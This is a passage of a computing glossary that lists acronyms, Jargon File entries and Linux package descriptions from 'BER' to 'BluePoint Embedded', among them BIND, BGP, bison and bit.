Basic Encoding Rules [for ASN.1] (ASN.1, OSI, ISO, IS 8825) 
BER
Bit Error Rate 
Berkeley Internet Name Domain (BIND)
A domain name service implementation developed by the University of California at Berkeley. BIND is distributed with the named daemon, which actively listens for requests and queries root name servers to translate IP addresses to corresponding domain names and vice versa. 
BERT
Bit Error Rate Test 
BES
Block Ended by Symbol (IBM, assembler) 
BES
Bursty Errored Seconds (DS1/E1) 
BEST
Borland Enhanced Support and Training (Borland) 
BEST
Business Executive System for Timesharing (OS, Qantel) 
beta
/bay't*/, /be't*/ or (Commonwealth) /bee't*/ n. 1. Mostly working, but still under test; usu. used with `in': `in beta'. In the Real World, systems (hardware or software) software often go through two stages of release testing: Alpha (in-house) and Beta (out-house?). Beta releases are generally made to a group of lucky (or unlucky) trusted customers. 2. Anything that is new and experimental. "His girlfriend is in beta" means that he is still testing for compatibility and reserving judgment. 3. Flaky; dubious; suspect (since beta software is notoriously buggy). Historical note: More formally, to beta-test is to test a pre-release (potentially unreliable) version of a piece of software by making it available to selected (or self-selected) customers and users. This term derives from early 1960s terminology for product cycle checkpoints, first used at IBM but later standard throughout the industry. `Alpha Test' was the unit, module, or component test phase; `Beta Test' was initial system test. These themselves came from earlier A- and B-tests for hardware. The A-test was a feasibility and manufacturability evaluation done before any commitment to design and development. The B-test was a demonstration that the engineering model functioned as specified. The C-test (corresponding to today's beta) was the B-test performed on early samples of the production design, and the D test was the C test repeated after the model had been in production a while. 
beta software
Development copies that are released prior to the full version. They are released to aid debugging of the software and to obtain real world reports of its operation. An expiry date is often built into the software. See alpha software. 
BEVU
Bundesvereinigung mittelstaendischer Elektro- und elektronikgeraete entsorgungs- und VerwertungsUnternehmen Org., Germany 
BEW
Business Engineering Workbench (R/3, SAP) 
BF
Bus Fraction [pin] (Intel, Pentium, CPU) 
bfbtester
Brute Force Binary Tester BFBTester is great for doing quick, proactive, security checks of binary programs. BFBTester will perform checks of single and multiple argument command line overflows as well as environment variable overflows. BFBTester can also watch for tempfile creation activity to alert the user of any programs using unsafe tempfile names. While BFBTester can not test all overflows in software, it is useful for detecting initial mistakes that can red flag dangerous software. 
BFD
Binary File Descriptor (Unix) 
BFN
Bye For Now (slang, IRC, Usenet) 
BFOC
Bayonet Fiber Optic Connector 
bfr
nonblocking 8-bit-clean pipe buffer bfr's purpose is to buffer data. It buffers from its standard input and/or a list of files of your choosing, and allows this data to flow to its standard output at whatever rate that end can handle. It's useful for any situation in which its beneficial to have I/O occur in a detached yet smooth fashion. Also contained is bfp, a buffering /dev/dsp writer. Pipe your raw PCM data to it, for skip-free bliss. 
BFT
Binary File Transfer (DFUe) 
bg5cc
Big-5 wide-characters rectifier Bg5cc converts `\' in Big-5 wide-characters that appear in source programs to `\\'. This ensures programs that contain Big-5 characters can be compiled correctly. Bg5cc should have little use to end-users. 
bg5ps
A utility to print Chinese Big5/GB documents using TrueType fonts Bg5ps is a utility to output a Postscript file from a Chinese Big5 or GB2312 encoded document by using TrueType fonts. Postscript files produced by Netscape and mpage that contain Big5 or GB2312 characters can be filtered by bg5ps so that the Chinese characters within can be printed correctly. If you want to use the configuration tool 'bg5psconf', make sure you have the package python-gtk installed. 
BGA
Ball Grid Array (CPU, IC) 
BGI
Borland Graphics Interface (Borland) 
BGP
Border Gateway Protocol (RFC 1267/1771, IP) 
BGP (Border Gateway Protocol)
On the Internet, BGP is used between ISPs in order to communicate routers. For example, imagine that the ALICE ISP needs to reach the BOB ISP. However, ALICE is not directly connected to BOB. ALICE therefore must figure out which ISP should be used to send traffic to BOB. It is through the use of BGP that such information is discovered. The name "border" comes from the fact that ISPs use BGP only on their borders (in contrast, they would use some other protocol (like OSPF) inside their networks). Key point: BGP can be subverted in many ways. BGP is generally unauthenticated, and rogue ISPs can play havoc. 
BGT
Broadcast and Group Translators 
BHCA
Busy Hour Call Attempts 
BHLI
Broadband High Layer Information, "B-HLI" 
BHN
Bayerisches Hochschulnetz (network) 
BHT
Branch History Table (CPU) 
BI
Breidbart-Index (Usenet, ECP, EMP) 
BIAB
Back In A Bit (DFUe, Usenet, IRC) 
BIB
Bus Interface Board 
bibindex
Fast lookup in BibTeX bibliography data bases bibindex converts a .bib file to a .bix file, which is a compact binary representation of the .bib file containing hash tables for fast lookup, as well as byte offset positions into the corresponding .bib file. biblook provides an interactive lookup facility using the .bix and .bib files. It verifies that the file version number and bibindex version number match its own values, and also compares the file time stamps so that it can detect whether the .bix file is out-of-date with respect to the .bib file. In either case, execution terminates. This Debian package features a command line history mechanism through the GNU readline library. 
bibletime
A bible study tool for KDE BibleTime 1.1 is a free and easy to use bible study tool for UNIX systems. It requires a working KDE2 environment and SWORD 1.5.3 or later. BibleTime provides easy handling of digitized texts (Bibles, commentaries and lexicons) and powerful features to work with these texts (search in texts, write own notes, save, print etc.). 
bibtex
make a bibliography for (La)TeX 
bibtex2html
BibTeX to HTML translator and BibTeX filter tool Collection of tools for filtering BibTeX data bases and for producing HTML documents from BibTeX data bases: - aux2bib extracts a BibTeX database consisting of only the entries that are refereed by an aux file. - bib2bib is a filter tool that reads one or several bibliography files, filters the entries with respect to a given criterion, and outputs the list of selected keys together with a new bibliography file containing only the selected entries; - bibtex2html is a translator that reads a bibliography file and outputs two HTML documents that are respectively the cited bibliography in a nice presentation, and the original BibTeX file augmented with several transparent HTML links to allow easy navigation. See the bibtex2html homepage http://www.lri.fr/~filliatr/bibtex2html/index.en.html. 
bibtool
A tool for manipulating BibTeX data bases. BibTeX provides an easy to use means to integrate citations and bibliographies into LaTeX documents. But the user is left alone with the management of the BibTeX files. The program BibTool is intended to fill this gap. BibTool allows the manipulation of BibTeX files which goes beyond the possibilities -- and intentions -- of BibTeX. 
bibview
X11 Bibliography database tool bibview is a tool to let you set up and maintain BibTeX bibliography databases. LaTeX can then use these automatically in citations and bibliographies in your documents. From its README: It [bibview] supports the user in making new entries, searching for entries and moving entries from one BiB to another. It is possible to work with more than one BiB simultaneously. bibview is implemented with Xt and Athena Widgets. There are six types of windows in bibview: The main window contains menus for customizing bibview and for working with BiBs on the file level. The bibliography window (one for every open BiB) contains commands for manipulating the BiB. The list window (at most one for every open BiB) shows a list of entries. It displays the fields author, title, type and year. The card window (at most one for every entry) helps editing an entry. It contains boxes for each field of the entry (according to the type). The fields can be edited by putting the mouse cursor into the field. Macros in fields and the symbol for concatenation ('#') are marked with a preceding '@'. 
BIC
Bit Independence Criterion (cryptography) 
BIC
Bus Interface Chip (DVR) 
BICI
Broadband InterCarrier Interface (B-ISDN), "B-ICI" 
bidentd
Bisqwit's identd Bisqwit's identd is an Identification Protocol (RFC 1413) daemon. It works like an ident daemon is supposed to work. Masquerading is supported, and works recursively. Works only under Linux, due to the use of /proc filesystem. A typical case for using Bisqwit's identd: - Alpha has the internet connection. It has an ip in internet. - Beta is masqueraded by Alpha. - Gamma is masqueraded by Beta. - Somebody in Gamma starts irc, and the irc server (in internet) gets the username of the user in Gamma, correctly. All of these computers would be running bidentd (from inetd), although Gamma could have any ident daemon, as it does not masquerade further. 
BIDI
BIDirectional 
BIDS
Borland International Data Structures (Borland) 
bidwatcher
Tool for watching and bidding on eBay auctions Bidwatcher is a tool for eBay users (eBay is a giant internet auction site). It is a stand alone application that can track auctions and perform automated bids. 
biew
console hex viewer/editor with disassembler BIEW (Binary vIEW) is a free, portable, advanced file viewer with built-in editor for binary, hexadecimal and disassembler modes. It contains a highlight PentiumIII/K7 Athlon/Cyrix-M2 disassembler, full preview of MZ, NE, PE, LE, LX, DOS.SYS, NLM, ELF, a.out, arch, coff32, PharLap, rdoff executable formats, a code guider, and lot of other features, making it invaluable for examining binary code. DOS, Win32, OS/2, Linux, BeOS, Unix versions are available. 
BIF
Benchmark Interchange Format (PLB) 
BIF
Built In Function (REXX) 
biff
a mail notification tool biff is a small little program that tells you when you get mail. Most standard .bashrc files include 'biff y' at the start to enable notification. The included biff server is notified whenever new mail arrives. 
biff /bif/ vt.
To notify someone of incoming mail. From the BSD utility biff(1), which was in turn named after a friendly dog who used to chase frisbees in the halls at UCB while 4.2BSD was in development. There was a legend that it had a habit of barking whenever the mailman came, but the author of biff says this is not true. No relation to B1FF. 
Bifrost
The Bifrost Network Project aims to find stability, performance, filter capabilities, administration, computer security, scalability and development possibilities of a Linux based streamlined router/firewall system. The hardware is basically a standard PC with two (or more) network interfaces (using preferably the Intel Tulip chip or an e1000 Gigabit card) and a 45 or 48 MB flash disk. The operating system is a modified, minimal and optimized Linux distribution, with the kernel configured for firewalling and routing. The filter which controls the firewall security policy, is part of the kernel code and can be configured via ipfwadm, ipchains or iptables. 
BIG
Bionet Intelligent Gateway (BioData) 
big-endian
It describes the order in which bytes of a word are processed. Many RISC computers and 68000 processors use big-endian representations where the high-order byte is stored at the lower address. 
BIGFON
Breitbandiges Integriertes Glasfaser-Fernmelde-OrtsNetz 
bigloo
A practical Scheme compiler Bigloo is a Scheme system which includes a compiler generating C code and an interpreter. Bigloo is conformant to IEEE Scheme and is mostly conformant to Revised^5 Report on the Algorithmic Language Scheme with many extensions: - Rgc, a lex facility. - Match, a pattern-matching compiler. - Foreign languages interface. - Module language. - Extension package system. - An LALR facility. - An Object system. - DSSSL support. - Unicode characters and strings. - Process, Pipe and Socket support. 
BIKOS
BueroInformations- und KOmmunikationsSysteme (org., GI) 
billard-gl
A billard game using OpenGL Play a game of billard against the computer or a friend. 
BIM
Broadband Interface Module 
BIMA
British Interactive Multimedia Association (org., UK) 
bin86
16-bit assembler and loader This is the as86 and ld86 distribution written by Bruce Evans. It's a complete 8086 assembler and loader which can make 32-bit code for the 386+ processors (under Linux it's used only to create the 16-bit boot sector and setup binaries). 
Binaries
Source code that has been compiled into executable programs. In the UNIX/Linux world, some software is distributed as source code only; other packages include both source and binaries; still others are distributed only in binary format. 
binary
A code system that uses 2 as its base and 0s and 1s for its notation. Binary code is used by computers as it functions well with digital electronics and Boolean algebra. 
Binary
Information consisting entirely of ones and zeros. Also, commonly used to refer to files that are not simply text files, e.g. images. 
binary file
a file that contains codes which are not part of the ASCII character set. A binary file can contain any type of information that can be represented by an 8 bit byte - a possible 256 values. 
BIND
Berkeley Internet Name DOMAIN [software] (Unix) 
bind
BIND (Berkeley Internet Name Domain) is an implementation of the DNS(Domain Name System) protocols. BIND includes a DNS server (named), which resolves host names to IP addresses; a resolver library (routines for applications to use when interfacing with DNS); and tools for verifying that the DNS server is operating properly. 
bind
Internet Domain Name Server The Berkeley Internet Name Domain (BIND) implements an Internet domain name server. BIND is the most widely-used name server software on the Internet, and is supported by the Internet Software Consortium, www.isc.org. 
BIND
See Berkeley Internet Name Domain (BIND). 
BIND (Berkeley Internet Name Daemon)
BIND is the most popular software on the Internet for providing DNS services. Your ISP is likely running BIND. BIND is open-source. Key point: BIND provides about 80% of all DNS services. It is also enabled by default on a lot of Linux distributions. As a result, any exploit discovered for BIND has immediate and large impact on the Internet. As of November, 1999, all versions of BIND previous to 8.2.2-P5/4.9.7 have known holes that can be exploited. It is likely that these newer versions also have undiscovered exploitable holes as well. Key point: BIND comes in two versions, 4.x and 8.x. This is largely due to backwards compatibility: people are running a lot of older servers and would rather patch them than upgrade to a newer version. Also, the newer 8.x code-base has not be extensively peer-reviewed and is thought to be a lot less secure than the 4.x source base. UPDATE: BIND v9 is now available, though most users are sticking with v8. See also: dig, DNS. 
binfmt-support
Support for extra binary formats The binfmt_misc kernel module, contained in versions 2.1.43 and later of the Linux kernel, allows system administrators to register interpreters for various binary formats based on a magic number or their file extension, and cause the appropriate interpreter to be invoked whenever a matching file is executed. Think of it as a more flexible version of the #! executable interpreter mechanism. This package provides an 'update-binfmts' script with which package maintainers can register interpreters to be used with this module without having to worry about writing their own init.d scripts, and which sysadmins can use for a slightly higher-level interface to this module. 
bing
Empirical stochastic bandwidth tester Bing is a point-to-point bandwidth measurement tool (hence the 'b'), based on ping. Bing determines the real (raw, as opposed to available or average) throughput on a link by measuring ICMP echo requests' round trip times for different packet sizes at each end of the link. 
Binhex (BINary HEXadecimal)
A method for converting non-text files (non-ASCII) into ASCII. This is needed because Internet e-mail can only handle ASCII. 
binkd
FidoTech TCP/IP mailer Binkd is a FidoTech mailer designed for use over TCP/IP. This program is NOT an internet mail transfer agent. If you don't know what it is, you don't need it. 
binstats
Statistics tool for installed programs A utility to aid the tidying up of binaries, interpreted scripts, and dynamic libraries. It can find the number and identity of a.out and ELF binaries, plus their debugging symbols status, setuid status, and dynamic library dependence. It can count the number of Java bytecode programs, tally up the main types of scripts, and look for unidentified executable text files. Also it is able to find any duplicated executable names, unused libraries, binaries with missing libraries, statically linked binaries, and duplicated manual page names. 
binutils
Binutils is a collection of binary utilities, including ar (for creating, modifying and extracting from archives), as (a family of GNU assemblers), gprof (for displaying call graph profile data), ld (theGNU linker), nm (for listing symbols from object files), objcopy (for copying and translating object files), objdump (for displaying information from object files), ranlib (for generating an index for the contents of an archive), size (for listing the section sizes of an object or archive file), strings (for listing printable strings from files), strip (for discarding symbols), and addr2line (for converting addresses to file and line). 
binutils
The GNU assembler, linker and binary utilities. The programs in this package are used to assemble, link and manipulate binary and object files. They may be used in conjunction with a compiler and various libraries to build programs for Linux. 
biomode
[Biology] An Emacs mode to edit genetic data biomode provides you several interesting commands to take the antiparallel of a region, convert it using readseq, runs blast on it, etc. 
bioperl
[Biology] Perl tools for computational molecular biology The Bioperl project is a coordinated effort to collect computational methods routinely used in bioinformatics into a set of standard CPAN-style, well-documented, and freely available Perl modules. 
BIOS
Basic Input Output System / Support (PC) 
BIOS
Basic Input/Output System: services on a ROM chip that enable the hardware and software of a computer to communicate with each other. 
BIOS
see Basic Input Output System (BIOS). 
BIP
Bit Interleaved Parity (SONET, ...) 
BIPV
Bit Interleaved Parity Violation 
BIRA
Belgian Institute for Automatic Control (org., Belgium) 
bird
Internet Routing Daemon Supports OSPF, RIPv2 (No v1), BGP both IPv4 and IPv6 and redistribution between the protocols with a powerful configuration syntax. 
birthday
Display information about pending events on login Given a list of the dates of various different events, works out and displays a list of those which will come up in the next couple of weeks. This was originally designed for birthdays, but can equally be used for reminders about yearly events, or for a running diary. 
BIS
Business Information System 
BISDN
Broadband Integrated Services Digital Network (ATM), "B-ISDN" 
bison
A parser generator that is compatible with YACC. Bison is a general-purpose parser generator that converts a grammar description for an LALR(1) context-free grammar into a C program to parse that grammar. Once you are proficient with Bison, you may use it to develop a wide range of language parsers, from those used in simple desk calculators to complex programming languages. Bison is upward compatible with Yacc: all properly-written Yacc grammars ought to work with Bison with no change. Anyone familiar with Yacc should be able to use Bison with little trouble. 
bison
Bison is a general purpose parser generator that converts a grammar description for an LALR(1) context-free grammar into a C program to parse that grammar. Bison can be used to develop a wide range oflanguage parsers, from ones used in simple desk calculators to complex programming languages. Bison is upwardly compatible with Yacc, so anycorrectly written Yacc grammar should work with Bison without any changes. If you know Yacc, you should not have any trouble using Bison. You do need to be proficient in C programming to be able to use Bison. Bison is only needed on systems that are used for development.If your system will be used for C development, you should install Bison. 
BISP
Business Information System Program 
BISSI
Broadband Inter-Switching System Interface (B-ISDN), "B-ISSI" 
BISUP
Broadband ISDN User's Part (B-ISDN), "B-ISUP" 
BISYNC
Binary SYNchronous Communications (IBM) 
BIT
Basic Interconnection Test (ISO 9646-1) 
BIT
Binary digIT 
bit
n. [from the mainstream meaning and `Binary digIT'] 1. [techspeak] The unit of information; the amount of information obtained by asking a yes-or-no question for which the two outcomes are equally probable. 2. [techspeak] A computational quantity that can take on one of two values, such as true and false or 0 and 1. 3. A mental flag: a reminder that something should be done eventually. "I have a bit set for you." (I haven't seen you for a while, and I'm supposed to tell or ask you something.) 4. More generally, a (possibly incorrect) mental state of belief. "I have a bit set that says that you were the last guy to hack on EMACS." (Meaning "I think you were the last guy to hack on EMACS, and what I am about to say is predicated on this, so please stop me if this isn't true.") "I just need one bit from you" is a polite way of indicating that you intend only a short interruption for a question that can presumably be answered yes or no. A bit is said to be `set' if its value is true or 1, and `reset' or `clear' if its value is false or 0. One speaks of setting and clearing bits. To toggle or `invert' a bit is to change it, either from 0 to 1 or from 1 to 0. See also flag, trit, mode bit. The term `bit' first appeared in print in the computer-science sense in a 1948 paper by information theorist Claude Shannon, and was there credited to the early computer scientist John Tukey (who also seems to have coined the term `software'). Tukey records that `bit' evolved over a lunch table as a handier alternative to `bigit' or `binit', at a conference in the winter of 1943-44. 
bit
Short for binary digit. The smallest unit of information a computer can read and manipulate. The value of a bit is 1 or 0. 
Bit (Binary DigIT)
A single digit number in base-2, in other words, either a 1 or a zero. The smallest unit of computerized data. Bandwidthis usually measured in bits-per-second. 
bit bang
n. Transmission of data on a serial line, when accomplished by rapidly tweaking a single output bit, in software, at the appropriate times. The technique is a simple loop with eight OUT and SHIFT instruction pairs for each byte. Input is more interesting. And full duplex (doing input and output at the same time) is one way to separate the real hackers from the wannabees. Bit bang was used on certain early models of Prime computers, presumably when UARTs were too expensive, and on archaic Z80 micros with a Zilog PIO but no SIO. In an interesting instance of the cycle of reincarnation, this technique returned to use in the early 1990s on some RISC architectures because it consumes such an infinitesimal part of the processor that it actually makes sense not to have a UART. Compare cycle of reincarnation. 
bit bashing
n. (alt. `bit diddling' or bit twiddling) Term used to describe any of several kinds of low-level programming characterized by manipulation of bit, flag, nybble, and other smaller-than-character-sized pieces of data; these include low-level device control, encryption algorithms, checksum and error-correcting codes, hash functions, some flavors of graphics programming (see bitblt), and assembler/compiler code generation. May connote either tedium or a real technical challenge (more usually the former). "The command decoding for the new tape driver looks pretty solid but the bit-bashing for the control registers still has bugs." See also bit bang, mode bit. 
bit bucket
n. [very common] 1. The universal data sink (originally, the mythical receptacle used to catch bits when they fall off the end of a register during a shift instruction). Discarded, lost, or destroyed data is said to have `gone to the bit bucket'. On Unix, often used for /dev/null. Sometimes amplified as `the Great Bit Bucket in the Sky'. 2. The place where all lost mail and news messages eventually go. The selection is performed according to Finagle's Law; important mail is much more likely to end up in the bit bucket than junk mail, which has an almost 100% probability of getting delivered. Routing to the bit bucket is automatically performed by mail-transfer agents, news systems, and the lower layers of the network. 3. The ideal location for all unwanted mail responses: "Flames about this article to the bit bucket." Such a request is guaranteed to overflow one's mailbox with flames. 4. Excuse for all mail that has not been sent. "I mailed you those figures last week; they must have landed in the bit bucket." Compare black hole. This term is used purely in jest. It is based on the fanciful notion that bits are objects that are not destroyed but only misplaced. This appears to have been a mutation of an earlier term `bit box', about which the same legend was current; old-time hackers also report that trainees used to be told that when the CPU stored bits into memory it was actually pulling them `out of the bit box'. See also chad box. Another variant of this legend has it that, as a consequence of the `parity preservation law', the number of 1 bits that go to the bit bucket must equal the number of 0 bits. Any imbalance results in bits filling up the bit bucket. A qualified computer technician can empty a full bit bucket as part of scheduled maintenance. 
bitchx
Advanced Internet Relay Chat client This is the bleeding edge of IRC software -- the most common functions normally done by scripts are coded into the client itself. It contains dozens of features such as: * Built-in ANSI color (this is probably the biggest feature) * Ease of use -- dozens of useful command aliases to reduce typing * Built-in notify, protection, and bot lists * Built-in mass commands and tools * Extended set of DCC commands and built-in CDCC offering * Extended scripting functionality, including unique functions * Code is based on ircII-Plutonium and more recent ircII-EPiC Online linux help is available at irc.debian.org. 
bitcollider
Collects bitprint and other information from files for bitzi.com Think of it as a really big file hash database on the internet with constant contributions from others of metadata on files. Bitcollider is a small program to reliably identify and describe files on your machine. When run with a specific file as input, this program does two major things: * It examines the file, calculating a distinctive digital fingerprint, or bitprint, and taking note of some other identifying information that can be extracted from the file, like file length and the local filename. * It launches your web browser to do a lookup at our website, submitting this identifying information as the search terms. At bitzi.com you'll see what - if anything - others have said about your file, and have a chance to contribute descriptions or comments yourself. If your automatic submission included information useful to our database, that new information will be contributed to the database under your screen name. 
bitmap
bitmap editor and converter utilities for the X Window System 
bitmap
Define a new bitmap from a Tcl script 
BITNET
Because It's Time NETwork (network) 
BITNET (Because It's Time NETwork (or Because It's There NETwork))
A network of educational sites separate from the Internet, but e-mail is freely exchanged between BITNET and the Internet. Listservs., a popular form of e-mail discussion groups, originated on BITNET. At its peak (the late 1980's and early 1990's) BITNET machines were usually mainframes, often running IBM's MVS operating system. BITNET is probably the only international network that is shrinking. 
bits
pl.n. 1. Information. Examples: "I need some bits about file formats." ("I need to know about file formats.") Compare core dump, sense 4. 2. Machine-readable representation of a document, specifically as contrasted with paper: "I have only a photocopy of the Jargon File; does anyone know where I can get the bits?". See softcopy, source of all good bits See also bit. 
BIU
Bus Interface Unit 
BIX
Byte Information eXchange 
BJT
Bipolar Junction Transistor (IC) 
BK
Buero Kommunikation 
bk2site
Utility to turn bookmarks into Yahoo/Slashdot like pages bk2site will transform a Netscape bookmarks file (use xbel-utils to convert other formats) into a yahoo-like website with slashdot-like news. You can see an example website created with it at http://MultiAgent.com. The program has several nice features: Includes hit-counter and display feature (see which URLs are popular). Includes integrated cgi-bin search.pl program. Nice-looking output. Powerful customization. Inserts navigation information into the top of each page. Puts a "new" icon next to new entries. Supports any other icon(s) (e.g., cool.gif, hot.gif) you might want to show. Puts New Additions on the front page. Puts News Items on the front page. Supports URL and directory aliases. Use PRIVATE keyword to keep some URLs/folders from appearing. 
BKS
BenutzerKoordinatenSystem (CAD) 
bl
Blink Keyboard LEDs. bl blinks the keyboard LEDs: the Num Lock, the Caps Lock, and the Scroll Lock. bl is a very helpful monitor of server's state. Blinking speed could tell about CPU load. 
BL
Blue Lightning [processor family] (Intel) 
Black Cat Linux
Black Cat is a Russian distribution now owned by ASPLinux. 
Black Lab Linux
Terra Soft Solutions provides Black Lab for HPC Clusters. It features a graphical installation, configuration, and maintenance suite for Yellow Dog Linux HPC (high performance computing) clusters. It's designed to work with Apple Macintosh and Terra Soft's Yellow briQ Nodes. Black Lab ships with the YDL 2.1 foundation and includes a subscription for 2 upgrades to future releases of both YDL and Black Lab. 
black-box
Find the crystals There's a black box. You can shoot in and watch, where the shot leaves the box. In the box, crystals are reflecting the shots. You have to guess where the crystals are hidden, by watching your shots. 
blackbox
Window manager for X This is a window manager for X. It is similar in many respects to such popular packages as Window Maker, Enlightenment, and FVWM2. You might be interested in this package if you are tired of window managers that are a heavy drain on your system resources, but you still want an attractive and modern-looking interface. The best part of all is that this program is coded in C++, so it is even more attractive "under the hood" than it is in service -- no small feat. If none of this sounds familiar to you, or you want your computer to look like Microsoft Windows or Apple's OS X, you probably don't want this package. 
blackened
A feature rich ircII based IRC client IRC (Internet Relay Chat) provides a way of communicating in real time with people from all over the world. It consists of various separate networks (or "nets") of IRC servers, machines that allow users to connect to IRC. The largest nets are EFnet (the original IRC net, often having more than 32,000 people at once), Undernet, IRCnet, DALnet, NewNet and OPN. Generally, the user (such as you) runs a program (called a "client") to connect to a server on one of the IRC nets. The server relays information to and from other servers on the same net. The ircII program is the first widely used IRC client. IrcII has spawned several other clients in modern times, all of which keep the basic ircII command set and add to it in various more or less useful ways. Blackened is an enhanced ircII based IRC client that offers a variety of features not found in other clients, including commands designed for IRC server operators and administrators. Normal users also benefit from additional functionality. See also the Official Blackened Website at http://www.blackened.com/blackened/. 
BlackRhino GNU/Linux
BlackRhino is a free Debian-based GNU/Linux software distribution for the Sony PlayStation 2. It contains over 1,200 software packages to aid in using and creating programs for the Sony PlayStation 2 Linux kit. The programs range in functionality from simple games, to text editors, compilers, web servers, windowing systems, database systems, graphics packages, mail servers and a variety of other tools and utilities. Version 1.0 was released March 4, 2003. A 'special purpose/mini' distribution. 
blacs1-lam
Basic Linear Algebra Communications Subprograms The BLACS project is an ongoing investigation whose purpose is to create a linear algebra oriented message passing interface that may be implemented efficiently and uniformly across a large range of distributed memory platforms. You can choose between an implementation based on MPI or PVM. This package uses MPI. There also exist implementations on HP Exemplar, IBM SP Series, Thinking Machines CM-5, SGI Origin 2000 and some Crays. 
BLADE
Basic Linear Algebra for Distributed Environments 
blas
Basic Linear Algebra Subroutines, shared library BLAS (Basic Linear Algebra Subroutines) is a set of efficient routines for most of the basic vector and matrix operations. They are widely used as the basis for other high quality linear algebra software, for example lapack and linpack. This implementation is the Fortran 77 reference implementation found at netlib. This package contains a shared version of the library. 
blas-test
Basic Linear Algebra Subroutines, testing programs BLAS (Basic Linear Algebra Subroutines) is a set of efficient routines for most of the basic vector and matrix operations. They are widely used as the basis for other high quality linear algebra software, for example lapack and linpack. This implementation is the Fortran 77 reference implementation found at netlib. This package contains a set of programs which test the integrity of an installed blas-compatible shared library. These programs may therefore be used to test the libraries provided by the blas package as well as those provided by the atlas packages. The programs are dynamically linked -- one can explicitly select a library to test by setting the LD_LIBRARY_PATH or LD_PRELOAD environment variables. Likewise, one can display the library selected using the ldd program in an identical environment. 
BLAST
BLocked ASynchronous Transmission 
blast
Vent your frustration with programs by blowing holes in them Blast lets you vent your frustration with programs by blowing holes in them. With this program you can blast holes any window in X. Holes become permanent unless you repair them before you quit. You may move permanently "damaged" windows and enjoy the view behind the holes. 
blast2
Basic Local Alignment Search Tool The famous sequence alignment program. This is "official" NCBI version, #2. The blastall executable allows you to give a nucleotide or protein sequence to the program. It is compared against databases and a summary of matches is returned to the user. Note that databases are not included in Debian; they must be retrieved manually. 
blatte
a powerful text markup and transformation language A blatte document can be translated into a Perl program that, when executed, produces a transformed version of the input document. A Major emacs mode for editing Blatte source is also included. Many users will be interested in Blatte's ability to serve as a high-level language for writing web pages. This requires the module blatte-html which is included. 
BLER
BLock Error Rate (CD) 
BLFS (Beyond Linux From Scratch)
Beyond Linux From Scratch (BLFS) is a project with the aim of assisting LFS users to go beyond the base system. It contains a broad range of instrutions for installing and configuring various packages on top of a base LFS system. If you are wondering why you would want an LFS system or what one is, see the entry for LinuxFromScratch below in this list. BLFS 1.0 was released April 28, 2003 under the original BSD License. 
blinkd
Blinks keyboard LEDs for an answering machine or fax machine. Blinkd is a client/server pair, that lets the keyboard LEDs blink, indicating things like the number of incoming voice calls in the voice box or incoming faxes in the spool. 
blitz++
C++ template class library for scientific computing Blitz++ offers a high level of abstraction, but performance which rivals Fortran. The current version supports arrays and vectors. This package includes libraries and headers for compiling programs with blitz++. Homepage http://oonumerics.org/blitz/ 
BLLI
Broadband Low Layer Information (BISDN), "B-LLI" 
BLM
Bayerische Landeszentrale fuer neue Medien (org.) 
BLMX
Board-Level Multitasking eXecutive (OS) 
bloatware
n. [common] Software that provides minimal functionality while requiring a disproportionate amount of diskspace and memory. Especially used for application and OS upgrades. This term is very common in the Windows/NT world. So is its cause. 
BLOB
Binary Large OBject 
Block
A unit of information that's processed or transferred. The unit size may vary. 
block
v. [common; from process scheduling terminology in OS theory] 1. vi. To delay or sit idle while waiting for something. "We're blocking until everyone gets here." Compare busy-wait. 2. `block on' vt. To block, waiting for (something). "Lunch is blocked on Phil's arrival." 
block transfer computations
n. [from the television series "Dr. Who"] Computations so fiendishly subtle and complex that they could not be performed by machines. Used to refer to any task that should be expressible as an algorithm in theory, but isn't. (The Z80's LDIR instruction, "Computed Block Transfer with increment", may also be relevant.) 
blockdev
call block device ioctls from the command line 
Blog (weB LOG)
A blog is basically a journal that is available on the web. The activity of updating a blog is "blogging" and someone who keeps a blog is a "blogger." Blogs are typically updated daily using software that allows people with little or no technical background to update and maintain the blog. Postings on a blog are almost always arranged in cronological order with the most recent additions featured most prominantly. 
bloksi
Sliding-blocks puzzle (glotski written in perl) Bloksi is a sliding-blocks puzzle : blocks should be pushed around until a "goal" position is reached. This is nearly a clone -written in perl- of glotski, whose files can be loaded. 
blootbot
a severely modified infobot for IRC This bot is based upon infobot-0.44.2 by Kevin Lenzo. The basis of infobot is still there but _many_ wild features have been added. Along the way, a couple of typos were spotted in the original infobot source and fixed in this version. Without infobot, there would be no blootbot so all thanks to kevin for bringing infobot in the first place. FEATURES * Additional information stored with factoids. (factinfo) * Wide range of statistics for Bot, Factoids, IRC, Debian. (status, factstats, ircstats, chanstats, cmdstats) * Advanced topic management. (the first cool feature) * Improved factoid search, allowing search by key or value. * Freshmeat support (freshmeat.net) * Debian Contents and Packages, search and info. * much more... 
BLOROB
BLOck based ROBot 
BLSM
Base Level System Modernization 
BLT
BLock Transfer 
blt
Shared libraries for blt This is the shared libraries for BLT. You should only need this if you are using programs which are linked to blt, or are developing programs in BLT. BLT is an extension to the Tk toolkit, adding new widgets, geometry managers, and miscellaneous commands. It does not require any patching of the Tcl or Tk source files. An attempt is being made to unify the BLT libraries so that the package is independent of whatever tcl/tk library (e.g. 8.0,8.2,8.3) you are using. This will be via the tcl stubs interface. As part of this process, blt8.0 is obsolete and this package dynamically chooses the correct version of BLT library to match your situation. This makes is a lot bigger than if you choose the library versions yourself, but means that you always have the version you need (not always the case under the old system) 
Blue Cat Linux
BlueCat Linux from LynuxWorks is an enhanced implementation of the Linux model, made viable for use in a wide range of embedded systems. 
Blue Linux
Blue Linux, is a free Linux-based operating system bundled with many packages that are used in the educational field, for computers in the educational field. Version 1.0RC2 was released April 16, 2002. Version 1.0 was released January 30, 2003. 
bluefish
A Gtk+ HTML editor Bluefish is a GTK HTML editor for the experienced web designer. It is currently in alpha stage, but still usable. Its features include nice wizards for startup, tables and frame; a fully featured image insert dialog; thumbnail creation and automatically linking of the thumbnail with the original image; and configurable HTML syntax highlighting. For validation to work you need weblint. For preview to work, you need a web browser that can view local files given to it on the command line. 
blueflops
blueflops is a Linux distribution that fits on two floppy disks, and includes a graphical Web browser (links 2.1pre9 using svgalib 1.4.3) and a popular IRC client (BitchX 1.0c19). The kernel is 2.4.20 with most of the Ethernet drivers compiled as modules. The C library is uClibc 0.9.16, busybox is a slightly modified version of 0.61.pre. The 'links' and 'BitchX' binaries are statically linked and compressed with UPX 1.90. The distinguishing feature of blueflops is its configuration procedure. The scripts are all accessible through a 'setup' script, and they all have a nice 'dialog' front-end. Version 1.0.0 was released April 15, 2003. A floppy-based distribution. 
BluePoint Embedded
